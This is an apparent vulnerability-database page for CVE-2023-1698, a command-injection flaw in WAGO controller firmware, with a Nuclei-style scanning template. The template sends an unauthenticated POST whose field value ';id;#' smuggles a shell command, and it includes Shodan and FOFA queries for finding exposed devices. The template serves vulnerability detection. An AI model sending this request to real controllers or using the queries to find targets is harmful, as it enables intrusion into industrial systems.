CVE-2023-1698: WAGO - Remote Command Execution

2025-08-01 WAGO PoC Public

Description

In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behavior, Denial of Service, and full system compromise.

Details

CVE
CVE-2023-1698 · CVE.org
Severity
高危
Affected
WAGO
Published
PoC
Public

PoC

id: CVE-2023-1698

info:
  name: WAGO - Remote Command Execution
  author: xianke
  severity: critical
  description: |
    In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behavior, Denial of Service, and full system compromise.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://onekey.com/blog/security-advisory-wago-unauthenticated-remote-command-execution/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1698
    - https://cert.vde.com/en/advisories/VDE-2023-007/
    - https://github.com/codeb0ss/CVE-2023-1698-PoC
    - https://github.com/deIndra/CVE-2023-1698
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1698
    cwe-id: CWE-78
    epss-score: 0.81911
    epss-percentile: 0.99658
    cpe: cpe:2.3:o:wago:compact_controller_100_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wago
    product: compact_controller_100_firmware
    shodan-query:
      - html:"/wbm/" html:"wago"
      - http.html:"/wbm/" html:"wago"
    fofa-query: body="/wbm/" html:"wago"
  tags: cve2023,cve,wago,rce,vkev,vuln

http:
  - raw:
      - |
        POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"package":";id;#"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"license":'
          - '"name":'
          - 'uid='
          - 'gid='
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009ddde4ce22b5eece18fc7d933a1f4d5a2a71c7a1478ea2921a6d464e36c8d787022100f221da3eadb4395c32b8085784dc5bf1639d9561811a4036088ff2edfa119d78:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life